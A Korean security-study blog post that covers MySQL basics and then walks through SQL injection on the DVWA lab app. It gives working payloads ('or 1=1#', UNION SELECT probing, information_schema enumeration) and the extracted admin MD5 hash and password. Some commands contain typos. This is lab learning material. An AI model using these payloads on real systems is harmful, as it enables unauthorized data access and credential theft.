일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 와이어샤크
- 공개키
- Iam
- 파일시그니처
- 로그분석
- RDS
- 클라우드서비스
- 정보보안
- 클라우드
- isms
- 클라우드보안
- 인스턴스
- 네이버클라우드
- Burp Suite
- AWS
- AWS SSA
- 클라우드 자격증
- 취약점
- metasploit
- azure
- 보안컨설팅
- 클라우드자격증
- ISMS-P
- AWS SAA
- 개인정보보호법
- ncp
- mysql
- 정보보호
- EC2
- 로드밸런서
- Today
- Total
처음 만나는 클라우드 보안
SQL 기본구동 및 인젝션(Injection) 실습 본문
MySQL이란?
: 표준 데이터 질의 언어인 SQL(Structured Query Language)을 사용하는 가장 널리 사용되는 데이터 관리 시스템이다.
MySQL 기본구동
데이터베이스 만들기
$create database korea charset utf8 collate utf8_general_ci; // utf8옵션을 통해 DB상 한글 입력 가능
데이터 형식
: 데이터 베이스 형성(create)시 미리 지정한 데이터 타입에 맞는 값을 입력해야 한다. 문자의 크기도 가변형과 비가변형에 따라 이에 맞는 값을 입력해야 한다.
$create table city(name varchar(10), phone int(3), color char(3), people bigint);
- varchar (Various Character): 가변길이 문자열 ex) varchar(10): 10글자 이내로 작성
- char (Character): 고정길이 문자열 ex) char(3): 무조건 세글자
- int(integer): 정수 (최대 20억 정도밖에 못 씀) ex) 예산, 부동산 가격, 고액 연봉자는 표시 어려움
- bigint: 큰 정수
- text: 글 입력 가능 숫자는 바로 입력, 문자열은 반드시 ' '로 묶어주어야 한다.
데이터 입력
insert into city values ('Seoul', 002, 'BLU', 10000000);
insert into city values ('Seoul2', 002, 'BL', 20000000);
insert into city values ('Seoul3', 002, 'BU', 30000000);
insert into city values ('Seoul4', 002, 'LU', 40000000);
데이터 확인
select * from city; // 데이터 확인
desc city; // 구조 확인
데이터 수정
update city set people = 3000000 where name = 'Ulsan';
ex1) 패스워드를 test12#$로 바꾸기
테이블명은 memebr, column명은 passwd,
update memebr set passwd = 'test12#$' where name = 'admin'; //패스워드 평문으로 저장됨
update member set passwd=sha2('test12#$', 256) where userid='admin';
ex2) Select문 두개 연결하기
=> UNION 사용
select name, phone from city union select color, people from city; : 앞과 뒤의 컬럼 갯수를 일치시켜야 한다.
SQL 인젝션
1. SQL 인젝션의 원리
1) 로직이 참이 되도록 한다.
True and False = False //and는 둘다 True여야 True
Ture or False = True //or는 둘 중 하나만 True여도 True
2) 주석처리 한다.
: 인젝션시 뒤에 남는 부분은 SQL에러를 발생시킴 --> 주석처리해서 무력화 시킨다.
Oracle, MS-SQL: -- //주석처리 방식 기억
MySQL, MariaDB: #
3) 중첩문 사용한다.
SELECT문 앞에 UNION SELECT로 필요한 정보 수집
SELECT문 앞에 마무리 짓고 UPDATE문 사용
2. Information_schema
: information_schema란 타겟 DB에 대한 정보들을 저장해 놓은 DB를 뜻한다.
> use information_schema;
> show tables; // Tables라는 테이블과 Columns라는 테이블이 있다.
> desc tables;
> select distinct table_schema from tables; // table_schema라는 컬럼만 골라서 보기 (distinct - 중복제거)
> show databases; // table_schema를 select한 결과와 동일하다.
>select table_name from tables wehre table_schema = 'korea'; //korea라는 DB의 테이블만 보려할 때
>desc columns; // columns 테이블의 컬럼 목록 보기
> select column_name from columns; // columns 테이블의 컬럼이름들을 보기
> select column_name from columns where table_name='city'; // 테이블이름이 city인 컬럼이름만 보기
3. DVWA실습
웹해킹 사이트 : Damn Vulnerable Web App
링크: http://192.168.5.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
SQL Injection
현재상황 input:번호 =>output: ID & PW, 사용자 계정은 총 5개 (1~5)로 추정
SQL구문 예상 => select firstname, sirnmae from ? where id = ' ';
Q. 계정 전체 출력
select firstname, sirnmae from ? where id = '' or 1=1# ';
앞의 ' 와 짝을 이루는 ' 를 넣는다. => NULL값 발생 => False 발생
1=1 => True // 참이 되면 된다. 또는 2>1, 'a'='a' 등 모두 가능
False or True => True
# ':뒤를 다 주석처리, 에러방지
Q. 등록된 계정의 ID와 PW조사
:필요한넉 => DB이름, 테이블이름, 컬럼이름 (SQL문 제작가능)
1) select문의 요청 개수 파악 => UNION이용
select ?, ? from ? where id = '' union select null#'; // 1컬럼 1개만 넣어보기 --> 컬럼개수 불일치
select ?, ? from ? where id = '' union select null,null#'; // 컬럼개수 일치 => 요청수는 2개씩이다.
2) DB이름 알아내기
select ?, ? from ? where id = '' union select database().user() # => dvwa, root@localhost
3) Table이름 알아내기 (information_schema이용)
'union select table_name, null from information_schema.tables where table_schema='dvwa' # //. DB와 테이블의 구분점 info_schema안의 테이블
=> 테이블 명은 'users', 'guestbook' 라는 테이블 확인
4) Column이름 알아내기
'union select column_name,null from information_schema.columns where table_name='users'#
=> user, password
5) 각 사용자의 계정과 패스워드 알아내기
'union select user, password from users#
=> admin / 5f4dcc3b5aa765d61d8327deb882cf99 : 실제 패스워드는 아니다. (4bit * 32 = 128bit, MD5의 해시값)
정답: ID=admin, PW=password
Q. 주석(#)뒤에 세미콜론(;)은 생략되어도 무방한가?
A. 컨멘드 라인에서 줄바꿈 기능일 뿐, 어플리케이션 통신에선 큰 기능을 하진 않는다. 문장의 끝 여부가 더 중요함
본 게시물은 학습기록을 위한 포스팅입니다. 악의적인 목적으로 이용 시 발생할 수 있는 모든 법적 책임은 자신에게 있습니다.
'정보보안' 카테고리의 다른 글
SQL Injection 실습을 위한 환경 구성하기 (with Win7 server) (0) | 2022.05.09 |
---|---|
해킹복습-공격대상: Window10 (0) | 2022.05.05 |
Metasploit를 활용한 Window7 해킹실습 (0) | 2022.05.04 |
Metasploit 포트 별 시스템 해킹 실습 (feat. daemon => root전환) (0) | 2022.05.03 |
Metasploit를 활용한 시스템 해킹 실습 (0) | 2022.05.03 |